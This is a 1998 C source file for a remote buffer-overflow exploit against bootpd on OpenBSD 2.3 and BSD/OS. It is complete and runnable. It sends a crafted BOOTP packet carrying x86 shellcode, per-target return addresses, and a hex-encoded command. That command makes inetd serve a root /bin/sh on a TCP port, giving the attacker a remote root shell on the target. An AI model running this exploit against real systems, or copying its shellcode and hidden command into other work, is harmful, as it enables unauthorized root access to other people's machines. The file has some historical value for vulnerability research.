// v0: remote bootpd sploit by humble - currently for openbsd 2.3
/* v1: BSD/OS bootpd remote exploit example by stran9er */
/* Greets to @!#$ADM crew! */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>

char bsdshell[] =
/*-5*/	"\xE8\0\0\0\0"		/* call  .+5             */
/*00*/	"\x5E"			/* popl  %esi            */
/*01*/	"\x8D\x5E\x3A"		/* leal  0x3a(%esi),%ebx */
/*04*/	"\x89\x5E\x2A"		/* movl  %ebx,0x2a(%esi) */
/*07*/	"\x83\xC3\x08"		/* addl  $0x8,%ebx       */
/*0A*/	"\x89\x5E\x2E"		/* movl  %ebx,0x2e(%esi) */
/*0D*/	"\x83\xC3\x03"		/* addl  $0x3,%ebx       */
/*10*/	"\x89\x5E\x32"		/* movl  %ebx,0x32(%esi) */
/*13*/	"\x83\xEB\x0B"		/* subl  $0xb,%ebx       */
/*16*/	"\x8D\x4E\x2A"		/* leal  0x2a(%esi),%ecx */
/*19*/	"\x89\xCA"		/* movl  %ecx,%edx       */
/*1B*/	"\x33\xC0"		/* xorl  %eax,%eax       */
/*1D*/	"\xB0\x3B"		/* movb  $0x3b,%al       */
/*1F*/	"\x52"			/* pushl %edx            */
/*20*/	"\x51"			/* pushl %ecx            */
/*21*/	"\x53"			/* pushl %ebx            */
/*22*/	"\x50"			/* pushl %eax            */
/*23*/	"\x9A\0\0\0\0\7\0"	/* lcall 0x0007:0x000000 */
/*2A*/	"arg0"
/*2E*/  "arg1"
/*32*/  "arg2\0\0\0\0"
/*3A*/	"/bin/sh\0"
/*42*/	"-c";

char argex[] = 
"\x65\x63\x68\x6f\x20\x6e\x65\x74\x72\x6a\x73\x20\x73\x74\x72\x65"
"\x61\x6d\x20\x74\x63\x70\x20\x6e\x6f\x77\x61\x69\x74\x20\x72\x6f"
"\x6f\x74\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x73\x68\x3e\x2f\x74"
"\x6d\x70\x2f\x62\x3b\x2f\x75\x73\x72\x2f\x73\x62\x69\x6e\x2f\x69"
"\x6e\x65\x74\x64\x20\x2f\x74\x6d\x70\x2f\x62\x3b\x2f\x62\x69\x6e"
"\x2f\x72\x6d\x20\x2f\x74\x6d\x70\x2f\x62";

/* --------------------------------------------------------------------- */
#define BUFFER_SIZE 51
#define NOPLEN 30

struct arch {
  int   id;
  char *name;
  int   htype;
  int   hlen;
  int   addr;
  char *shell;
  int   shlen;
};

struct arch archlist[] = {
/* arch| name         |htype|hlen  |address|shellcode|shlen   */
/* ----+--------------+-----+------+-------+---------+------- */
  {1, "BSD/OS 3.0",    0x30, 0x78,  0xb070, bsdshell, sizeof(bsdshell)},
  {2, "BSD/OS 2.1",    0x30, 0x78,  0xa070, bsdshell, sizeof(bsdshell)},
  {3, "Openbsd 2.3",   61,   0x71,  0xc070, bsdshell, sizeof(bsdshell)},
  {0, 0,0,0,0,0,0}  /*  ;-)  */
};

/* --------------------------------------------------------------------- */
//bootpd stuff
#define MYPORT  67

#define BOOTREQUEST       1
#define BP_CHADDR_LEN    16
#define BP_SNAME_LEN     64
#define BP_FILE_LEN     128
#define BP_VEND_LEN     500

struct bootp
  {
    unsigned char  bp_op;	/* packet opcode type */
    unsigned char  bp_htype;	/* hardware addr type */
    unsigned char  bp_hlen;	/* hardware addr length */
    unsigned char  bp_hops;	/* gateway hops */
    unsigned int   bp_xid;	/* transaction ID */
    unsigned short bp_secs;	/* seconds since boot began */
    unsigned short bp_flags;	/* RFC1532 broadcast, etc. */
    struct in_addr bp_ciaddr;	/* client IP address */
    struct in_addr bp_yiaddr;	/* 'your' IP address */
    struct in_addr bp_siaddr;	/* server IP address */
    struct in_addr bp_giaddr;	/* gateway IP address */
    unsigned char  bp_chaddr[BP_CHADDR_LEN];	/* client hardware address */
    char           bp_sname[BP_SNAME_LEN];	/* server host name */
    char           bp_file[BP_FILE_LEN];	/* boot file name */
    unsigned char  bp_vend[BP_VEND_LEN];	/* vendor-specific area */
    /* note that bp_vend can be longer, extending to end of packet. */
  };
/* --------------------------------------------------------------------- */

int 
main (int argc, char *argv[])
{
  int sockfd;
  struct sockaddr_in their_addr;
  struct sockaddr_in ours;
  struct hostent *he;
  int numbytes, i, t, c, o;
  struct bootp evil;
  char *overflow, *p;
  int arch = -1;
  unsigned long *adr;
  unsigned char cat[]="da";

  fprintf (stderr, "OpenBSD/BSDi bootpd exploit example by humble, stran9er\n\n");
  if (argc != 3)
    {
      fprintf (stderr, "Usage: %s architecture hostname\n", argv[0]);
      fprintf (stderr, "Avaiable architectures:\n");
      i = -1;
      while (archlist[++i].id)
	fprintf (stderr, "   %d: %s\n", archlist[i].id, archlist[i].name);
      exit (1);
    }

  for (i = 0; archlist[i].id; i++)
    if (archlist[i].id == atoi(argv[1])) arch = i;

  if (arch < 0)
    {
      fprintf (stderr, "Invalid architecture.\n");      exit (1);
    }

  if ((he = gethostbyname (argv[2])) == NULL)
    {
      herror ("gethostbyname");      			exit (1);
    }

  if ((sockfd = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
    {
      perror ("socket");      				exit (1);
    }

  their_addr.sin_family = AF_INET;
  their_addr.sin_port = htons (MYPORT);
  their_addr.sin_addr = *((struct in_addr *) he->h_addr);
  bzero ((char *) (&(their_addr.sin_zero)), 8);

  bzero ((char *) (&ours), sizeof (struct sockaddr));
  ours.sin_family = AF_INET;
  ours.sin_port = htons (MYPORT);
  bzero ((char *) (&(ours.sin_zero)), 8);

  bind (sockfd, (struct sockaddr *) &ours, sizeof (struct sockaddr));

  bzero ((char *) (&evil), sizeof (struct bootp));

  evil.bp_op = BOOTREQUEST;
  evil.bp_htype = archlist[arch].htype;
  evil.bp_hlen  = archlist[arch].hlen;

  p = (char *) (&(evil.bp_chaddr));

  memset (p, 0, BUFFER_SIZE);

  p += BUFFER_SIZE;
  adr = (long *) p;
  *adr++ = archlist[arch].addr;
  *adr++ = archlist[arch].addr;

  p = (char *) adr;
  for (i = 0; i < NOPLEN; i++) *p++ = 0x90;
  for (i = 0; i < archlist[arch].shlen; i++) *p++ = archlist[arch].shell[i];

  strcpy (p, argex);
  
  printf ("Using settings for %s.\n", archlist[arch].name);
  printf ("Htype: %d, address: 0x%X\n", archlist[arch].htype,
					archlist[arch].addr);
  printf ("Sending packet... ");
  if ((numbytes = sendto (sockfd, &evil, sizeof (struct bootp), 0, \
	  (struct sockaddr *) &their_addr, sizeof (struct sockaddr))) == -1)
    {
      perror ("sendto");
      exit (1);
    }
  printf ("Packet sent.\n");
  close (sockfd);
}

/* today 14 Sep 1998 */
